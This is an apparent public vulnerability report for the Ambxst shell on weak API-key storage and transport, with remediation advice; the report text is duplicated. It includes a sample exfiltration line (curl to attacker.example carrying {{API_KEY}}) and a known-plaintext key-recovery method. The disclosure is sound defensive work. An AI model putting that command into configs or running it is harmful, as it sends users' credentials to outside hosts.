Thanks for Ambxst — really enjoying it. While wiring up the AI panel I reviewed credential handling and found a cluster of issues around KeyStore.qml / scripts/keystore.py / Ai.qml.
The keys DB is correctly created 0600 (a genuine mitigation), so this is not "plaintext readable by anyone." However, the at-rest obfuscation provides little real confidentiality, and the request transport can be induced to exfiltrate keys. Overall severity ~Medium (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N ≈ 4.0), trending higher in practice via finding #2.
I'm happy to send a PR for this — and glad to take it to a private channel first if you'd prefer (there's no SECURITY.md, so I'm defaulting to a public issue since the code is already public).
1. At-rest "encryption" is reversible obfuscation
scripts/keystore.py:9-23 XORs each key against /etc/machine-id, which is world-readable (-r--r--r--) and — after .strip() — only 32 bytes, shorter than real API keys. The keystream therefore repeats within a single ciphertext (repeating-key / Vigenère). Combined with known public key prefixes (sk-, sk-proj-, sk-ant-, AIza, gsk_, hf_), the keystream is recoverable by known-plaintext even without reading /etc/machine-id. Net effect: the XOR adds essentially no confidentiality on top of the 0600 file mode.
2. Key exfiltration via configurable endpoint / custom_curl
modules/services/Ai.qml:444-454 executes requests via bash -c, using a per-model endpoint and an optional custom_curl template with {{API_KEY}} interpolated unescaped. Both values are settable from the config dir and the keys.db custom_curl column. A single local write — e.g. custom_curl = curl https://attacker.example/?k={{API_KEY}}, or simply pointing endpoint at an attacker host (the key rides an Authorization / x-api-key header) — causes every subsequent request to ship all stored provider keys off-host. This converts a one-time low-privilege local write into ongoing remote exfiltration.
3. Cleartext key in process argv (every request) + Gemini key in URL
The cleartext key is embedded in bash -c command lines on every model refresh and every chat request (Ai.qml:729-761, :451; also KeyStore.qml:50 on save), exposing it via /proc/<pid>/cmdline to same-UID processes. Additionally, GeminiApiStrategy.qml:7,11 place the key in the URL query string, which leaks to server access logs and any intercepting proxy.
4. Snapshot / backup retention
On systems that snapshot /home (e.g. snapper/btrfs), the obfuscated DB and its machine-id "key" are captured together in every snapshot. Rotating or deleting a live key does not purge historical copies, and snapshots are frequently replicated off-host — so secrets persist in less-protected storage alongside their own decryption key.
Additional hardening notes (minor)
- Static fallback salt
b"ambxst-fallback-salt-82741" (keystore.py:14) is shared by all installs if /etc/machine-id is unreadable (containers / immutable hosts).
- The DB is created under umask (
644) by sqlite3.connect() and chmod 0600 one line later (keystore.py:47-49) — a one-time, empty-file window. A transient keys.db-journal is created under the same umask during writes (rollback-journal mode — note: not WAL, no -wal/-shm sidecars).
Suggested remediation
- Store secrets in the freedesktop Secret Service (libsecret /
secret-tool) and stop persisting a DB-resident ciphertext. Fail with a clear error when no keyring is available — never silently fall back to plaintext.
- Pass secrets to the helper via stdin, not argv; construct request auth so the key isn't placed on any
bash -c command line where avoidable.
- Allowlist / validate
endpoint and custom_curl — restrict URL schemes/hosts and treat both as untrusted input.
- For any interim on-disk path: call
os.umask(0o077) before file creation (atomically 0600, also covers the journal); avoid URL-embedded keys (Gemini → header or POST body).
Environment
Ambxst 989d923 (v1.1.5), Quickshell, Arch Linux + Hyprland, Python 3.x.
Reviewed files: scripts/keystore.py, modules/services/KeyStore.qml, modules/services/Ai.qml, modules/services/ai/strategies/GeminiApiStrategy.qml, modules/services/ai/AiModel.qml, modules/widgets/config/AiPanel.qml.
Thanks for Ambxst — really enjoying it. While wiring up the AI panel I reviewed credential handling and found a cluster of issues around
KeyStore.qml/scripts/keystore.py/Ai.qml.The keys DB is correctly created
0600(a genuine mitigation), so this is not "plaintext readable by anyone." However, the at-rest obfuscation provides little real confidentiality, and the request transport can be induced to exfiltrate keys. Overall severity ~Medium (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N≈ 4.0), trending higher in practice via finding #2.I'm happy to send a PR for this — and glad to take it to a private channel first if you'd prefer (there's no
SECURITY.md, so I'm defaulting to a public issue since the code is already public).1. At-rest "encryption" is reversible obfuscation
scripts/keystore.py:9-23XORs each key against/etc/machine-id, which is world-readable (-r--r--r--) and — after.strip()— only 32 bytes, shorter than real API keys. The keystream therefore repeats within a single ciphertext (repeating-key / Vigenère). Combined with known public key prefixes (sk-,sk-proj-,sk-ant-,AIza,gsk_,hf_), the keystream is recoverable by known-plaintext even without reading/etc/machine-id. Net effect: the XOR adds essentially no confidentiality on top of the0600file mode.2. Key exfiltration via configurable
endpoint/custom_curlmodules/services/Ai.qml:444-454executes requests viabash -c, using a per-modelendpointand an optionalcustom_curltemplate with{{API_KEY}}interpolated unescaped. Both values are settable from the config dir and thekeys.dbcustom_curlcolumn. A single local write — e.g.custom_curl=curl https://attacker.example/?k={{API_KEY}}, or simply pointingendpointat an attacker host (the key rides anAuthorization/x-api-keyheader) — causes every subsequent request to ship all stored provider keys off-host. This converts a one-time low-privilege local write into ongoing remote exfiltration.3. Cleartext key in process argv (every request) + Gemini key in URL
The cleartext key is embedded in
bash -ccommand lines on every model refresh and every chat request (Ai.qml:729-761,:451; alsoKeyStore.qml:50on save), exposing it via/proc/<pid>/cmdlineto same-UID processes. Additionally,GeminiApiStrategy.qml:7,11place the key in the URL query string, which leaks to server access logs and any intercepting proxy.4. Snapshot / backup retention
On systems that snapshot
/home(e.g. snapper/btrfs), the obfuscated DB and its machine-id "key" are captured together in every snapshot. Rotating or deleting a live key does not purge historical copies, and snapshots are frequently replicated off-host — so secrets persist in less-protected storage alongside their own decryption key.Additional hardening notes (minor)
b"ambxst-fallback-salt-82741"(keystore.py:14) is shared by all installs if/etc/machine-idis unreadable (containers / immutable hosts).644) bysqlite3.connect()andchmod 0600one line later (keystore.py:47-49) — a one-time, empty-file window. A transientkeys.db-journalis created under the same umask during writes (rollback-journal mode — note: not WAL, no-wal/-shmsidecars).Suggested remediation
secret-tool) and stop persisting a DB-resident ciphertext. Fail with a clear error when no keyring is available — never silently fall back to plaintext.bash -ccommand line where avoidable.endpointandcustom_curl— restrict URL schemes/hosts and treat both as untrusted input.os.umask(0o077)before file creation (atomically0600, also covers the journal); avoid URL-embedded keys (Gemini → header or POST body).Environment
Ambxst
989d923(v1.1.5), Quickshell, Arch Linux + Hyprland, Python 3.x.Reviewed files:
scripts/keystore.py,modules/services/KeyStore.qml,modules/services/Ai.qml,modules/services/ai/strategies/GeminiApiStrategy.qml,modules/services/ai/AiModel.qml,modules/widgets/config/AiPanel.qml.